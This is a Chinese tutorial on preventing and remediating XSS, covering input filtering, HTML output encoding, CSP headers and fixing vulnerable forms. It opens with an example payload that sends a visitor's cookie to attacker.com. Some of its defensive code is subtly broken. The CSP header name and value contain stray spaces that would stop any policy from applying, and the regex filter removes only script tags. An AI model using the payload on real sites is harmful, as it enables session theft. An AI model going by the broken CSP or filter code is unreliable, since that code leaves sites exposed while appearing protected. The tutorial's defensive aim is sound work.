常见 XSS 攻击的防御与修复方法

一、什么是 XSS 攻击

XSS 攻击,全称跨站脚本攻击(Cross - Site Scripting)。简单来说,就是攻击者通过在目标网站注入恶意脚本,当其他用户访问该网站时,这些恶意脚本就会在用户的浏览器中执行,从而获取用户的敏感信息,比如登录凭证、个人信息等。

举个例子,假如有一个留言板网站,用户可以在上面留言。攻击者在留言框里输入一段恶意的 JavaScript 代码,像这样:

// JavaScript 技术栈
<script>
    // 这段代码会将用户的 cookie 发送到攻击者的服务器
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://attacker.com?cookie=' + document.cookie, true);
    xhr.send();
</script>

当其他用户访问这个留言板时,这段恶意脚本就会执行,把用户的 cookie 发送给攻击者。

二、XSS 攻击的应用场景

XSS 攻击在很多场景下都可能发生。

  1. 社交媒体平台:在社交媒体上,用户可以发布各种内容。攻击者可以在自己的动态、评论中注入恶意脚本。比如,在微博的评论区输入恶意代码,当其他用户查看这条评论时,就可能中招。
  2. 论坛:论坛允许用户发表帖子和回复。攻击者可以在帖子内容里插入恶意脚本,当其他用户浏览该帖子时,恶意脚本就会执行。
  3. 电商网站:在商品评论、用户反馈等地方,攻击者也可能注入恶意脚本。如果用户在购物时不小心触发了这些脚本,个人信息就可能被盗取。

三、XSS 攻击的技术优缺点

  1. 优点(对攻击者而言)
    • 隐蔽性强:恶意脚本可以伪装成正常的内容,不容易被用户察觉。比如,攻击者可以把恶意脚本藏在图片的 onload 事件里,用户很难发现。
    • 攻击范围广:只要有用户访问被注入恶意脚本的页面,就可能受到攻击,不受地域和时间的限制。
  2. 缺点(对攻击者而言)
    • 依赖用户交互:需要用户主动访问包含恶意脚本的页面,才能触发攻击。如果用户不访问,攻击就无法实施。
    • 容易被检测:一些安全软件和浏览器的安全机制可以检测到恶意脚本,从而阻止攻击。

四、XSS 攻击的防御方法

  1. 输入过滤 在服务器端对用户输入进行过滤,只允许合法的字符和内容通过。比如,在一个表单中,用户输入的内容可能包含恶意脚本,我们可以使用正则表达式来过滤掉这些脚本。
// JavaScript 技术栈
function filterInput(input) {
    // 过滤掉 <script> 标签
    return input.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
}

var userInput = '<script>alert("XSS")</script>';
var filteredInput = filterInput(userInput);
console.log(filteredInput); // 输出: ''
  1. 输出编码 在将用户输入的内容输出到页面时,对特殊字符进行编码,让浏览器将其作为普通文本处理,而不是执行脚本。
// JavaScript 技术栈
function encodeHTML(str) {
    return str.replace(/&/g, '&amp;')
              .replace(/</g, '&lt;')
              .replace(/>/g, '&gt;')
              .replace(/"/g, '&quot;')
              .replace(/'/g, '&#039;');
}

var userInput = '<script>alert("XSS")</script>';
var encodedInput = encodeHTML(userInput);
console.log(encodedInput); 
// 输出: &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;
  1. 设置 CSP(内容安全策略) CSP 可以限制页面可以加载哪些资源,防止恶意脚本的加载。可以通过 HTTP 头来设置 CSP。
// Node.js 技术栈
const express = require('express');
const app = express();

app.use((req, res, next) => {
    // 只允许从当前域名加载脚本
    res.setHeader('Content - Security - Policy', "default - src'self'");
    next();
});

app.get('/', (req, res) => {
    res.send('Hello World!');
});

app.listen(3000, () => {
    console.log('Server is running on port 3000');
});

五、XSS 攻击的修复方法

如果已经发现网站存在 XSS 漏洞,需要及时修复。

  1. 查找漏洞位置 通过日志分析、安全扫描工具等方法,找出存在 XSS 漏洞的页面和代码。比如,使用 OWASP ZAP 等工具进行扫描,它可以帮助我们发现网站中的 XSS 漏洞。
  2. 修复代码 根据前面提到的防御方法,对存在漏洞的代码进行修改。比如,如果发现某个表单存在 XSS 漏洞,就对用户输入进行过滤和输出编码。
// JavaScript 技术栈
// 假设这是一个处理表单提交的函数
function handleFormSubmit() {
    var input = document.getElementById('userInput').value;
    // 过滤输入
    input = filterInput(input);
    // 编码输出
    var encodedInput = encodeHTML(input);
    document.getElementById('output').innerHTML = encodedInput;
}

六、注意事项

  1. 全面测试:在修复 XSS 漏洞后,要进行全面的测试,确保没有引入新的问题。可以使用自动化测试工具,如 Selenium 等,模拟用户操作,检查是否还存在 XSS 漏洞。
  2. 更新安全策略:随着技术的发展,新的攻击手段不断出现,要及时更新网站的安全策略,如 CSP 规则等。
  3. 教育用户:虽然防御和修复是开发者的责任,但也可以通过提示等方式,教育用户不要随意点击不明链接和输入不明内容,提高用户的安全意识。

七、文章总结

XSS 攻击是一种常见且危险的网络安全威胁,它可以在多种应用场景下发生。攻击者利用 XSS 攻击获取用户的敏感信息,给用户和网站带来严重的危害。不过,我们可以通过输入过滤、输出编码、设置 CSP 等方法来防御 XSS 攻击。如果发现网站存在 XSS 漏洞,要及时查找漏洞位置并修复代码。在整个过程中,要注意全面测试、更新安全策略和教育用户等事项,以保障网站和用户的安全。